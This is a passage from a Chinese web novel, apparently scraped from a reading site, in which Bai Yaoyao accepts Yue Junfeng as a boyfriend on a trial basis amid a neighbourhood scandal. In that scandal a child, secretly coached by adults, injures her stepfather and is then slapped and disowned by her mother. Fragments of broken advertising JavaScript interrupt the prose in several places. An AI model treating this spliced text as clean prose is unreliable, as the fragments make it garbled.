看向白幺幺的眼神,已经升级为看“吃干抹净不认账的渣女”了。 白幺幺:“…… ” 她在心里叫屈啊! 是她不认账吗? 是你家小少爷不给力,不符合她要找的好男人标准。 林伯不知道白幺幺所想,不然那看人的眼神绝对会再升级的。 他摇了摇头,表示他也不清楚,并让白幺幺赶紧先去吃早饭,太晚吃早饭伤胃。 一顿早饭,白幺幺吃得索然无味,那是不可能的。 慢条斯理的用完早餐,白幺幺也不磨蹭,直奔二楼书房。 敲门,等里面的人回应了,白幺幺才推门进去。 她自己找了个位置坐下,就保持起沉默来。 这种时候,敌不动,她不动。 月钧枫喊人上来,可不是让人就这么坐着的。 他先开口问道: “昨晚的事情都不记得了?” 反正他是不相信的。 脑中浮现起火车站初遇以及之后的种种画面,月钧枫不由得嗤笑出声。 表情诚恳,正准备点头的白幺幺被这一声笑打断了动作。 只是犹豫了下,白幺幺同志决定摆烂了。 没错,就是摆烂。 她身体往后一靠,神色坦然,语气欠扁,说出来话简直不要太渣。 “记得是记得,不过负责是不可能负责的,大不了让你亲回来。” 已经做好对方会装傻到底的月钧枫:“……” 他腾的从椅子上站起来,怒火直冲天灵盖。 “白幺幺,你凭什么不负责!”月钧枫咬牙切齿道。 白幺幺同志表示能理解对方为何这般激动,换成她也一样。 人么,无非就是一个心理,我可以不要,但你不可以先摆明了不给。 白幺幺安抚道:“别激动,别激动,真不是我不想负责,而是咱俩不适合呀!” 月钧枫磨牙道:“我们怎么不适合,你倒是说说看。” 此时。 月钧枫已经完全被白幺幺牵着鼻子走,已然忘了他喊人到书房 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里来要聊的是什么。 “咳咳。” 白幺幺轻咳一声,眼眸里多了一丝心虚。 “其实,说咱俩不合适也不准确,应该说你不适合我更准确。” 自信,白幺幺最不缺了。 两个人不合适,肯定不是她原因,必须是对方的原因。 同样最不缺的就是自信的月钧枫:“……” “白幺幺,你说清楚,我怎么就不适合你?” 月钧枫不知什么时候已经走到白幺幺跟前,低头俯视着坐在椅子上的人。 那眼神仿佛只要白幺幺没回答好,就要嗷呜一口把人吃了。 不负责,不适合, 太气人,月钧枫脑中就这九个字不断循环。 白幺幺同志什么大场面没见过,她耸耸肩,表示她也很无奈的好不。 “你不是好男人!” 白幺幺语气有点惋惜,还有点恨铁不成钢。 月钧枫:“……” 他脑中绷着弦断了。 “白,幺,幺!”月钧枫低吼出声。 他俯身,双手撑在白幺幺的双肩上,有点像即将暴走的雄狮。 白幺幺皱了皱眉,嫌弃道:“你小声点,我还年轻,耳朵好使着了。” “还有。” 白幺幺抖掉肩膀上的手,抬手抵在身前人的前胸,将人推开些,自己也站了起来。 然后她指着人开始输出。 “月同志, 都说了,我这辈子非好男人不嫁,非好男人不嫁了,你忘记了吗? 所以,你看,真不是我不想负责,而是你不适合我。” 月钧枫咬着牙,从齿缝里挤出字来。 “我怎么就不是好男人了,别拿你那套什么好男人的三从四德五不准来搪塞我。” 月钧枫说完,赌气的别过脸去,一副她要是继续搬出那套说辞,他不听,不听的。 “月同志,你不尊重人,每个人都有她的择偶权。 反正不满足我那三从四德五不准的男人,我是不可能和他在一起过日子生崽子的。” 白幺幺再次摆明自己的态度。 月钧枫:“……” 良久他败下阵来,生硬的语气中透着点委屈。 “我……反正你必须对我负责!” 第253章 年代文里的童养媳(36) 白幺幺想说啥,月钧枫察觉到了,抬眸想瞪人。 临了,神情讪讪的垂眸。 “白幺幺,不就是好男人,我当!” 月钧枫在说到好男人三个字时,特意加重了语气。 要问月钧枫现在最讨厌啥,非好男人三个字莫属了。 白幺幺:“……” 事情怎么就发展成这样的? 久久没得到回复,月钧枫抬眼看去,见人在发呆。 他皱了皱眉,捏紧了双拳,手上青筋尽显。 酝酿许久的话,到嘴边的只余一个字。 “你……” 一个字却用上了极尽复杂的语气,有气愤,有妥协,有委屈,有失落,有痛苦,有…… 白幺幺只是走神了下,没想到会让人误会。 眼瞅着对方那样一副仿若遇到绝世大渣女,身心都遭受重创,还敢怒不敢言的小可怜模样。 白幺幺心虚得要命,甚至开始反省自己了。 但是,说出来的话却是,“月同志,你真的要当我对象吗? 嗯,其实也不是不可以,这样吧,我就先给你三个月的试用期。” 月钧枫:“……” 磨牙中。 良久,深吸了口气,点头。 为了讨媳妇,他终是签下了不平等条约。 月钧枫不知道的是,未来他甘之如饴。 当一个男人满心满眼都是那个女人时,不管为她做什么,都会仍觉做得不够多,不够好。 根本不用她主动要求,主动讨要。 白幺幺朝人伸出手,“未来请多多关照,期待你的转正。” 月钧枫盯着面前那只不怎么白皙,还因做多了粗活,有点糙的手看了几秒。 他才缓缓伸出自己的手,握上去。 不是第一次握,可这一次,却是不用花钱,名正言顺的。 两只手交握在一起时,感受到对方的温度,月钧枫胸腔一下子被填满了。 那种陌生的满足感席卷全身,以至于他说话的声音都有些不正常,坚定中透着点沙哑。 “我一定会转正的!” 自信是好事。 白幺幺满意的点了点头,想到什么道:“需不需要我再给你重复下好男人的三从四德五不准?” 月钧枫神色有那么一瞬间僵硬,吸气,呼气,脸上扬起淡淡笑意来。 “不用,我记忆力很好,那天只听一遍就记住了。” 就在白幺幺还想说什么时,一声凄厉的……狼叫声传来? 白幺幺不确定的看向她的新晋试用期对象,“刚刚那是什么声音,嗷呜的,有点像狼叫,又不像。” 月钧枫微凝了下眸子,“这附近没人养狼,刚刚的声音应该是隔壁传来的,男人的声音!” 他才刚和幺幺确认关系,尽管还有个试用期。 可如此特殊重要的时刻,被这样打扰,月钧枫心中很是不满。 隔壁? 他们隔壁住着的不是张婉茹,就是韩东秦雪一家子。 刚刚那声,仔细再辨认下,的确是男人的声音。 而且按声音传出的方向,白幺幺基本可以确定应该是韩东秦雪家传出来的。 白幺幺眼眸亮晶晶的,拉着男人的手就往外走。 “走,去看看,这么大一声,听着还有点凄厉,也不知道发生了什么事?” 没拉动人,白幺幺回头半点没不好意思的解释起来。 “我可不是出去看热闹的,作为邻居,过去关心下什么情况,是应该的,也是很有必要的。” “你不想去?那我自己去喽。” 白幺幺说着就要放开男人的手,只是她才有动作,手就被对方反握住,紧紧地。 “我没有不想去,走吧。” 月钧枫牵着人的手,往外走去,唇角不知何时勾起了一个微不可察的弧度。 媳妇出门要跟从! 其实,如果是这样手牵手,好像也不赖。 白幺幺心里着急着看热闹,如果是她自己一个人,此时肯定跑起来了。 可是,被人牵着手走,莫名的,她有点装起来。 两人就这样周身弥漫着满满的粉红泡泡下楼来。 此时,林伯和张良也在就刚才那一声讨论起来。 听到脚步声,两人很有默契的停下交谈,齐刷刷转头看去,而后都惊呆了。 张良还好,很快就回神了。 毕竟他又不是第一次见他家爷和白小姐牵……手。 嗯,握手和牵手差不多的。 他就是比较好奇,这回他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家爷开了什么价? 还有两人都牵这么久了,怎么还不放开? 难道这回白小姐不是按次收费,而是按时长收费的? 更限制级的画面林伯都亲眼见了,此刻反应还会如此大,主要是这会儿的白幺幺是清醒着的。 和昨晚喝醉后的样子,哪里能一样。 要不是怕吓到人家姑娘,林伯都想原地表演个老泪纵横。 被两道视线,四双眼睛盯着看。 白幺幺坦然极了,不好意思是不可能不好意思的。 不得不说,不是一家人不 进一家门。 月钧枫同样没有半点不好意思,有的只是一种陌生的飘飘然感觉。 想要让更多人看到两人牵在一起的手,想要向人介绍说,没错,这就是我对象。 所以,还不等激动得找不到声音的林伯发问。 月钧枫看了两人一眼,轻咳一声道:“林伯,隔壁刚刚发出那样的声音?作为邻居,我和我对象过去关心下。” 张良:“……” “咳咳!” 他被自己的口水呛到了。 对象?! 花钱租的? 还是…… 林伯:“……” 对象? 小少爷和白小姐? 呜呜,他的小少爷终于有对象了! 他最终还是原地表演起老泪纵横来。 月钧枫丢下个重磅炸弹,就牵着人出门去看热闹了。 哪里有空去管两人的反应。 两人到了门口,还很巧的见到了张婉茹。 白幺幺和张婉茹异口同声道:“你也是出来看热闹的。” 这默契,两人同时笑了。 然后,张婉茹发现白幺幺和月钧枫牵在一起的手,还是怔愣了下。 尽管一开始就觉得两人是这样的关系,可真证实了,却还是有那么一点点惊讶。 不过她什么也没问。 他们还真没白跑出来一趟。 在门外,就能听到里面动静不小。 很嘈杂,有小孩的哭声,也有女人的哭声夹杂着骂声,还有男人的痛苦呻吟声…… 白幺幺和张婉茹两人对视一眼,皆从对方眼中读到“不会吧!”三个字。 第254章 年代文里的童养媳(37) 这段时间发生了太多事,秦雪有些心力交瘁的同时,还隐隐有了强烈的危机感。 白弘文那个短命的废物,把女儿养成这样,没教好就算了。 竟然,竟然还把他俩以及韩东之间的纠葛告诉那个没脑子的养妹。 告诉就告诉了,还添油加醋,歪曲事实 ,用上那等恶毒之词,可见其心之险恶。 她果然是年少不懂事,看错人,也爱错人了。 说什么爱她,爱到至死方休。 如果真的爱她,就该把这些事带进棺材里,谁都不能告诉。 哪怕是女儿,也不能告诉。 男人果然都是大骗子,说的话都不能信。 她好不容易在外经营的一切都毁了,毁了。 现在她又回到原点,能抓住的只有韩东对她的爱。 可,有了白弘文这个大骗子的前车之鉴,秦雪心里堵得慌。 她开始患得患失起来,也深刻意识到,如果失去了韩东爱,她很可能就要失去现在的生活。 就在她花心思想要抓牢韩东的心时,已经被白弘文教坏的女儿总是出来搞破坏。 不仅砸伤韩东,还伤害了小宇,小小年纪简直又蠢又毒。 秦雪心中怨恨死了白弘文,同样十分后悔当年因着几句甜言蜜语就被白弘文骗去了身子。 如果没有被骗走了身子,后面也就不会有这个恶毒孩子的存在。 这个孩子简直是她一辈子洗不掉的污点。 秦雪甚至恶毒的想,白弘文要死怎么不把孩子也一起带走。 哪个女孩子年少不懂事时,没遇到个渣男。 可她秦雪是不一样的,后面又遇到了韩东。 遇到韩东后,秦雪才知道自己以前有多无知,更后悔和白弘文有那样一段。 现在的生活越是豪奢幸福,她心底越是恐慌与白弘文的这段过往会被人扒出来。 担心了那么多年,她担心的事最终还是发生了。 而且事态的发展已经到了不可控的地步。 秦雪想也不想又是一巴掌朝小姑娘白嫩的脸上打去,用了十足的力气。 打完,她的手直哆嗦,被气的。 白慕雪早就被秦雪前面的一巴掌打懵了,现在又来一巴掌。 因着人没有防备,而秦雪又是用足了力气,小姑娘直接被扇倒在地。 打完人,秦雪又扑到韩东身边,眼泪哗啦啦的流。 “老公,我们现在就去医院,医生那么厉害,会没事的,会没事的。 呜呜,我会一直陪在你身边,永远不会离开你的。” 等人将仍疼得躬身蜷缩着的韩东抬上车后,秦雪也忙跟着坐上车去。 只是要关上车门时,她想到什么,探出头来看向白慕雪,冰冷的眼神带着浓浓的怨恨。 “你滚,回来后我不想在这个家里再看到你,你我母女缘分就此了断。” “张妈,听到了没,等下将人连同她的东西丢出去。” 秦雪哭归哭,情绪激动归激动,脑子还是不忘在运转的。 这恶毒的死丫头,竟然在她成功勾引了人,准备在书房来几次时,突然冲进来……还…… 小小年纪,怎么敢,她怎么敢的。 想到死丫头砸人时的狠劲,秦雪知道韩东胯下那处很大可能是不能用了。 她还年轻,就要“守活寡”了。 秦雪自己想想都有点受不了,更何况是直接当不成男人的韩东。 她知道死丫头若是继续留在这个家,不就相当于时时刻刻在提醒着韩东这一惨痛事实。 绝对不行,要是这样,她往后的日子哪里还有安宁的一天。 而且,反过来想,她或许还该感谢死丫头。 跟着韩东回来,进入上层社会这个圈子后。 秦雪明白的一个道理,男人要是靠得住,母猪都能爬上树。 而越是有钱的男人,越是靠不住。 因为,哪怕他们没这个心思,可禁不住源源不断往他们身上扑的狂蜂浪蝶。 毕竟圈子里活生生的例子那么多 。 秦雪怎么可能不担心不害怕韩东哪一天会被外面的妖精勾走,或者被算计给搞出个私生子来。 所以,现在那家伙事不能用了,似乎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不是完全都是坏处。 秦雪担忧害怕的同时,心中又生出了诡异的爽感与轻松。 未来她的小宇将是韩东唯一孩子与继承人。 可以说,她以这种特殊的方式彻彻底底坐稳了韩三少夫人的位置。 秦雪微低下头去,嘴角勾起一抹诡异的弧度。 张婉茹兴奋的都想把脑袋从门缝中挤进去,听更多,看更多。 这个时候韩家都乱成一锅粥了,哪里有人有空过来给他们开门。 等到门开时,也不是要迎他们这些上门来表示关心的客人进去的。 一辆小轿车疾驰而出,卷起飞扬的尘土。 白幺幺同志很有先见之明的,提前将张婉茹给提留开了。 不然吃一嘴灰,多难受。 汽车开不见影了,一个小姑娘也被丢了出来, 不是白慕雪还能是谁。 此时,白慕雪 两边脸颊的巴掌印已经肿得老高,头发和衣服都有些凌乱,脚上还光一只脚。 就像是被暴风雨摧残过小花,好不可怜。 隔着镂空雕花大铁门,远远地只能隐隐约约听到点东西,看也看不真切。 现在有个当事人出来了,张婉茹哪里可能放过。 她一下子窜到白慕雪跟前,气怒道:“小雪,你的脸怎么了?谁打的,告诉大姐姐,简直太过分了。” 听到张婉茹的声音,白慕雪猛地抬头,双手齐用,狠狠的将身前人推开。 张婉茹没想到白慕雪会突然动手,毫无防备,要不是白幺幺眼疾手快伸手托住她,这一摔是妥妥的。 白慕雪推完人后,开始连珠炮似的输出。 “你是坏人,都怪你这个坏人!你骗我,你为什么要骗我?” “我躲在书房外偷听到大变态又在欺负妈妈,我只是想要保护妈妈,就按照你说的去做,砸烂了大变态尿尿的地方。 我明明保护了妈妈,为什么这回妈妈不仅打我,还把我赶出来了。 呜呜,你是坏人,你骗了雪儿,一定是你骗了雪儿。 怎么办,妈妈现在不要雪儿,是你,都是你……” 第255章 年代文里的童养媳(38) 白慕雪已经失去理智了,说着说着又要伸手去推张婉茹。 刚刚让人给得逞了,那是因为她没防备。 这一次张婉茹有了防备,动作灵敏的躲开了白慕雪的手。 已经得到她想要的信息,而最终目的也达成了,张婉茹可没空继续和个小孩子掰扯。 不过,该说的话还是要说下的。 出来看热闹的可不止他们三人,还有其他人了。 当时她就有考虑到现在这样的情况,所以给白慕雪支招时,她可是附在人耳朵上,用只有对方能听到的声音说的。 而当时的目击者,幺幺和幺幺的对象肯定站她这边,毕竟主意可还是幺幺出的了。 至于叶轩父子俩,就一句话,他们亲耳听到什么了吗? 张婉茹秒变神色,一副大受打击的模样。 “小雪,你怎么可以推我? 还有你这孩子刚刚都在说些什么,我怎么听不懂? 我只是看到你哭了,出于好意才过来关心你的。 可没教你什么,你这样撒谎污蔑我是不对的,我,我对你真的是太失望了!” 张婉茹面上表情复杂,有难过,有失望,还有惋惜。 不过,她心里却十分的畅快。 韩东只是命根子被砸烂了,她的爱人可是命都没了啊! 当年母亲拦着她,没敢让她去见爱人最后一面。 她知道母亲是怕她见到那张被恶犬咬得面目全非的脸,会承受不住。 这还是她回国后,让人去查当年真相时,才知道她的爱人不仅被恶犬咬死,还被咬得面目全非。 而她不知道的是,她的爱人可不仅仅是被恶犬咬得面目全非那么简单。 下面的命根子更是被恶犬生咬下来吃掉了,不过这个只有韩东秦雪以及她爱人的双亲知道,而他们都很有默契的将这情况隐瞒下来了。 为人父母这般做,当然是想为爱子保留最后的体面。 而韩东都这么做了,却没让这情况传出去,不过是不想别的男人那污秽东西和自己心爱女人放在一起被提起。 毕竟对外传的可是那人色欲熏心,意图对他夫人行不轨之事,家中忠犬护主才将人咬死的。 所以,大家一旦讨论起这件事,就避免不了要提及他的夫人。 不得不说,韩东对秦雪是真爱,占有欲也是真的强。 白幺幺就是知道这段剧情,当时才给支了这么个招。 如果知道这个因为两个神经病,而遭受到无妄之灾的可怜老师和张婉茹有这样一层关系,她当时肯定会再想个更狠的招。 当然白幺幺也就是想想,毕竟白慕雪只是个孩子,能力有限。 周围也是听到声响出来看热闹的人,他们没白幺幺和张婉茹来的快。 本以为错过最精彩的了,一个个与认识的人点头打了招呼,就要回去。 没成想白慕雪被丢出来了,两边脸上还算对称的巴掌印是那样的醒目。 看热闹的人纷纷停下离开的动作,直觉要是离开了肯定会后悔的。 说起来,如今住在这一片的,就没有不知道白慕雪这个小姑娘的。 瞧着小姑娘的模样,大家第一时间想的不是要替她打抱不平,而是想着这小姑娘是不是又闹出什么幺蛾子了。 谁让这个瞧着柔弱可怜的小姑娘,她可是有前科的。 当听到有人在为小姑娘打抱不平时,大家还疑惑对方不应该不知道小姑娘这段时间做的事。 可当看清是谁后,认识张婉茹的人脸上表情划过一抹古怪之色。 可不待他们细想,他们就听到什么了? 砸烂了大变态尿尿……尿尿的地方?! 大变态,是他们所想的那个人吗? 我去! 我去我去!! 韩东胯下那三两肉被砸烂了,韩东成太监了。 一个个的看向白慕雪的眼神都变了。 至于白慕雪说的话,他们并没太当一回事。 谁让那天早上白幺幺带着白慕雪过来找秦雪这个妈时,他们中的就有好几个人在现场。 当时小姑娘可是认为张婉茹在欺负秦雪,指着人骂坏人了。 还是那句话,这小姑娘可是有前科的。 再说了,他们最关心的还是韩东下面那玩意儿还能抢救回来吗? 想着他们过来时,飞速驶离的小轿车,大家恨不得跟过去医院继续看热闹。 张婉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 茹功成就要身退时,忽的她察觉到什么,转身看去,刚好和一双阴冷的眸子对上。 而这双眸子的主人不是别人,正是叶枫。 张婉茹认出叶枫了,只觉得莫名其妙。 回瞪了对方一眼,就收回视线了。 她走过去拉起白幺幺的手,直接就要把人拐回家。 月钧枫瞧见她的动作,皱眉道:“张小姐,请放开我对象的手。” 张婉茹:“……” 她并没有依言放开,而是看向白幺幺,用眼神询问。 姐妹,啥情况呀? 白幺幺:“……” 呃,应该,可能,大概是在宣示主权,争风吃醋吧! 她 耸了耸肩,表示她也不知道。 见两人在他眼皮子底下眉来眼去的,月钧枫眉头皱得更紧了。 白幺幺想了想,回头对月钧枫说:“我去婉茹家一会儿,你自己先回家吧。” 月钧枫:“……” 又要丢下他跟人跑了?! 前一次,他没立场阻止。 可这一次,他可是有名正言顺的身份了。 还有,不能阻止,也阻止不了,那就加入吧! 他道:“我陪你一起去。” 白幺幺:“……” 纳尼,这么粘人的吗? 张婉茹:“……” 不是,月家这位少爷是几个意思,是不放心她吗? 只是想到她和幺幺喝空的那几个酒瓶,张婉茹不免有些心虚。 似乎是怕白幺幺会拒绝,月钧枫看着白幺幺无声吐出四个字来。 看口型,白幺幺知道他说的是什么。 三从四德! 白幺幺:“……” 莫名的,她怎么有种搬起石头砸自己脚的感觉。 算了,想跟就跟。 她看向张婉茹,问道:“可以带家属不?” 张婉茹很想说不可以,可是最终她还是点了点头。 他们要离开时,张婉茹疑惑白慕雪怎么消停了,便回头看了眼。 然后她就看到叶轩那儿子正围着小姑娘转,那小心温柔的模样,让她看得莫名的起鸡皮疙瘩。 第256章 年代文里的童养媳(39) 此时。 叶枫正声音极尽温柔的哄着雪儿,心中却是风暴翻涌,想杀人。 秦雪! 她怎么可以又打雪儿,还把雪儿赶出来的。 重生回来,很多事情为什么会与前世不一样,到底是哪里出了差错? 叶枫以为他现在年龄摆在那,还没开始掌权,想要查清楚需要费一番功夫。 没成想,他只是假装好奇问下照顾他的保姆,然后就啥都知道了。 叶枫听完保姆绘声绘色的讲完,心里当时就一个想法。 该死,真该死。 至于他指的是谁该死,当然是白幺幺。 若是白幺幺没有包藏祸心,带着雪儿离开村子,来这里找妈妈。 重生回来的他本该已经被善良的雪儿所救,哪里会遭遇那样的事! 雪儿还小,心思纯善。 不懂得白幺幺这个时候带着她过来找妈妈,还是如此大张旗鼓的找。 并且在大庭广众之下,说出那样一番言论,简直恶毒之极,其心可诛。 还有秦雪,雪儿还小,她无论做了什么,出发点都是因为太爱她这个妈妈了。 秦雪这女人怎么可以那么心狠无情,几次三番的打雪儿,现在还直接将人赶出来。 丈母娘? 呵! 他唯一在乎的只有雪儿。 为了雪儿,他可以做到爱屋及乌。 既然对雪儿不好,又凭什么得到他的尊重。 最后就是张婉茹,这也是个蛇蝎女人,竟然敢利用他家雪儿的单纯善良。 很好,一个个都很好! 不过叶枫还是知道问题最大的是白幺幺。 他想到一种可能,这女人应该是有了和他一样的奇遇。 叶枫低垂着眉眼,眸色有那么一瞬间变得嗜血可怕。 他想到了一句话,既生亮何生瑜。 当然,不管是诸葛亮还是周瑜,就白幺幺那个愚蠢毒妇都不配当。 他只是觉得老天爷瞎眼了,有他一个重生的就够了,也只配他这种人能拥有重生这种奇遇。 白幺幺这等蠢妇毒妇,呵,她也配! 还有不得不说这毒妇隐藏够深的,前世愣是到最后都没能发现她的真面目来。 雪儿那么纯真美好,可又那么胆小。 要是没有雪儿,这女人怕是修个十辈子的福气,也嫁不了他那好父亲这样优质的男人,过上人人羡慕的富太太生活。 人生本来就是有舍才有得,他那好父亲是好男色没错,可这又不是天生。 作为一个女人,无法勾引到男人,无法抓住男人的心。 更直白点的说,作为一个女人无法让男人睡你,那只能怪你自己没本事。 认清自己没本事后,选择安分守己的过日子算不笨。 前世,这女人就是这般的,演技高超都瞒过了所有人。 冤有头债有主,雪儿对这女人至始至终有的只有恩情,从未对不起过这女人什么。 可这女人有这样的奇遇,重生回来后都做了什么? 毒妇,简直就是毒妇。 亏得前世雪儿收到这毒妇死讯时,还伤心欲绝,差点哭晕死过去。 叶枫心中甚至庆幸,前世人就那样死了。 不然留着这一条捂不热的毒蛇在雪儿身边,谁知道未来哪一天会如何伤害雪儿了。 还有真是可笑至极,山鸡就是山鸡,以为重生了就能变凤凰。 月家,哼,可是那么好进的。 别以为前世进了他们叶家,就忘记了自己几斤几两。 再说了,叶枫在心里嗤笑一声。 真有胆,敢和他那好父亲抢男人。 要不是他那好父亲早上就外出了,此刻在现场。 若是看到心爱之人的手被一个女人牵着,也不知道能不能忍住不当场发疯。 叶枫甚至在想,白幺幺这愚蠢的毒妇前世会不会早就意外得知他父亲心中的白月光是谁。 这不,重生回来,因着对他父亲因爱生恨,为了报复他父亲,所以…… 难怪了,难怪这女人之前一直表现出和他那好父亲很不对付的样子。 只是,这未来的月家家主还真是口味奇特呀! 或者说,还真的不挑食呀! 叶枫过来后,第一时间目光隐晦的一一扫过几人。 而后努力控制着自己的神情,可是最后,他还是没忍住逆着光向他的雪儿走去。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 叶枫哄着人,既然秦雪不要雪儿这个女儿了。 那他就带雪儿走,上辈子他和雪儿也是住一个屋檐下一起长大的。 总不能重生了,这待遇反而下降了。 韩东成太监的消息太震惊了,以至于大家都没怎么关注港城月家来的小少爷刚刚可是牵着一姑娘的手。 就算看到了,放往常,他们肯定会稍稍多看两眼,顺便私下讨论两句。 只是有了韩东这事儿,谁还关注这种无关紧要的桃色新闻。 这个圈子的,男人身边有个女人很正常。 又不是定下来,明确要娶回家的,不是很值得他们关注。 之后就是瞧见叶枫走过去安慰 白慕雪,大家也只是看了下,便兴趣缺缺。 小孩子间的那点事,哪里值得他们关注。 他们现在脑子里全是韩东成太监了。 有些人已经离开,去把这个劲爆消息分享给认识的人。 …… 才确认关系,嗯,虽还只是在试用期。 月钧枫承认,两手交缠在一起时。 他心中涌起无限的满足,甚至生出就这样一直一直牵着,根本舍不得放开。 再者,他可没忘记幺幺醉酒后说的话。 哼,不仅没点眼力见,还想把各种弟介绍给幺幺当童养夫。 月钧枫自觉他不是记仇的性子,因为他有仇都是当场就报的。 张婉茹现在是幺幺的朋友,他无法做什么。 可是,也别想他能给人好脸色。 客厅里。 张良很快就回神,也想出去看看情况。 只是林伯在那抹眼泪,他哪里能丢下人,只好先上前去安慰人。 等林伯情绪缓过来后,他拿着帕子把脸擦了擦。 而后他双手合十,开始虔诚祈祷。 “感恩天老爷保佑,天老爷保佑啊! 小少爷现在有对象了,天老爷您能否再保佑他赶紧三年抱两……” 张良:“……” 他面皮狠狠抽搐了下,心想着都还不确定他们爷这对象是不是花钱租的了? 三年抱两,林伯啊,在敢想这块,您老比天老爷还厉害! 第257章 年代文里的童养媳(40) 有月钧枫这个“电灯泡”在,白幺幺和张婉茹根本无法八卦个尽兴。 可以说屁股还没坐热了,白幺幺就无奈的提出告辞。 而在白幺幺提出告辞时,张婉茹也偷偷松了口气。 两个人很有默契的对视一眼,偷偷用眼神简单交流了下。 只是,在张婉茹将人送到门口转身要回去时,月钧枫喊住她。 张婉茹疑惑不解,“幺幺她对象有事? 张婉茹知道她应该叫月少或者月先生的,不过经过短时间的观察。 她发现了自家这姐妹将人拿捏得死死的,厉害呀! 所以,她是故意这般喊的。 月钧枫:“……” 一下子有被“幺幺她对象”这个称呼愉悦到怎么办? 他轻咳一声道:“嗯,正式认识下,我是幺幺的对象,月钧枫。” 张婉茹:“……” 她脑门上除了问号还是问号,突然喊住她就是为了这。 张婉茹笑了笑,也颇为正式道:“你好,我是幺幺的朋友,张婉茹。” 白幺幺在旁边看着,脸上露出一丝古怪之色。 自我介绍啥自我介绍,两人就住隔壁,肯定是知道彼此的。 再说了,见面到现在,什么时候自我介绍不行,偏偏都要离开了再来自我介绍。 总不能是忘记了,现在才想起来吧! 以她对男人的了解,不会无的放矢的。 果然。 月钧枫表情淡淡,语气却不怎么友好。 “张小姐,宁拆十座庙,不毁一桩婚,这话你应该有听说过吧!” 张婉茹不明所以,但还是点了点头。 “所以张小姐还是约束好你的那些个亲弟,堂弟,表弟,各种弟,还有谁家好男人会去给人当童养夫的!” 月钧枫就是这种性子,平时的风轻云淡,那不过是旁人没踩到他的底线。 白幺幺:“……” 她想扶额,真的。 张婉茹:“……” 疑惑,外加莫名其妙。 她是那种醉酒后,十次有九次会断片的人。 所以对于喝醉后的卖弟行为,她是完全忘得一干二净了。 不等张婉茹开口询问,白幺幺伸手在男人后腰上拧了下,还给了人一记警告的眼神。 而后她抽回自己的手,拉着张婉茹到旁边说悄悄话去了。 被丢在一边的月钧枫:“……” 垂眸瞅着空空的手,他的黑眸中多了一丝委屈。 白幺幺三言两语和张婉茹讲了下两人醉酒后的一些事情。 张婉茹听后眼睛都快瞪成铜铃了,倒不是因为她的卖弟行为,而是…… 她眼角余光偷偷瞥了眼不远处的月钧枫,因着有幺幺在,她说话行事才随意了些。 不过她可没忘记父亲的叮嘱,这位可不是她们家招惹得起的。 白幺幺拍了拍人的肩膀以示安抚,半开玩笑道:“说起来,你还算是我俩的媒人了。 要是没有这一次醉酒,我们本应该不会在一起…… 嗯,应该说是不会这么早确认关系的。” 听到脚步声,白幺幺立马改口了。 白幺幺说的是大实话。 要是没喝醉酒,她怎么可能把张婉茹给卖了,还去占了人便宜。 所以她说张婉茹算是两人的媒人,真的没毛病。 又又一次看着对象在他面前跟人“跑”了。 月钧枫自动忽略了,是白幺幺主动拉着人“跑”的。 没办法,有对象的人就是如此的双标。 掌心空空,原本残留在上面的温度很快消失殆尽。 孤零零站在那的月钧枫更委屈了。 对象是他的,是他的。 他凭什么要让出去,一会儿也不行。 主要是,对方居心不良,他根本不放心。 月钧枫只是稍微动下脑子,就放弃原地站着等人了。 “幺幺,在外面站这么久,累了吗?要不要我喊人从家里搬把椅子出来?“ 白幺幺:“……” 她在外面站很久了吗? 还有搬把椅子出来是什么神操作? 瞅着人那副“我体贴吧”求表扬的表情,白幺幺一时真的不知道要说什么了。 张婉茹:“……” 她也是有过对象,还是两情相悦,许下共白头的。 作为过来人,她懂,她都懂。 刚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 确认关系的男女,那是恨不得每一分每一秒都黏在一起。 脑中只想着过二人世界,根本不想有人打扰他们。 不过张婉茹想笑,眉眼也真忍不住染上了点笑意。 没想到港城月家来的这位小少爷谈起对象来是这副模样,很……鲜活真实,也很让人意外。 张婉茹朝白幺幺挤眉弄眼了下,就很识趣的没继续当电灯泡了。 没了张婉茹,月钧枫继续道:“幺幺,你是不是累了,要不我抱你回家吧。” 白幺幺瞅着人关心的眼神,真诚的表情,到嘴的话咽了回去。 她可不是那种不识好歹,爱无理取闹的渣女。 而且,她想着 ,男人肯定是因为还在试用期,急着表现自己,能理解的。 只是,那种搬起石头砸自己脚的感觉又冒出来了是闹哪样。 白幺幺果断摆手拒绝。 “不用,才几步路,我自己走回去。” 想了想,白幺幺还是主动牵起男人的手,同时使了点劲在那宽厚手掌上捏了下。 “你,给我正常点。” 就白幺幺那点力道,月钧枫根本感觉不到痛。 他无辜的看向白幺幺,神情有那么一丝丝的委屈。 “幺幺,你会答应和我处对象,是不是权宜之计,其实你根本没考虑过要让我转正,所以……” 月钧枫说着说着,神色落寞的低垂下脑袋,低声将后面的话说完。 “所以……你才不希望我能成为让你满意的好男人。” 白幺幺:“……” 这锅她可不背。 还有,还有她就知道。 看了那么多的小说,一般得了这种“不能触碰女主以外的异性”的怪病的男主,时间久了,多少会得点其他精神或心理方面的病。 白幺幺同志就是典型吃软不吃硬的性子,面对现在这种情况。 她能怎么办? 只能赶紧否认加哄人呗! “我不是,我没有,还有我不是那种随便的人。” 嗯,她随便起来不是人! 白幺幺拉了拉人的手,让人抬起头来看她。 看看她真诚眼神,坦然的表情,根本没再撒谎的好不。 第258章 年代文里的童养媳(41) 当然,白幺幺同志除了吃软不吃硬,她还不吃亏。 说完她也低下头去,委屈的声音中夹杂着点失望。 “我以为你是懂我的,没想到你会这样想我,我真的是太失望了。 我既然答应和你处对象,那肯定不是和你玩玩的,必然是百分百认真的。 哼,这世上再也找不到第二个比我对待感情还认真的人了,你刚刚的话简直太伤我的心了,我……” 察觉到什么,白幺幺回头看去,刚好和两道视线对上。 林伯和张良出来时,人群已经散了。 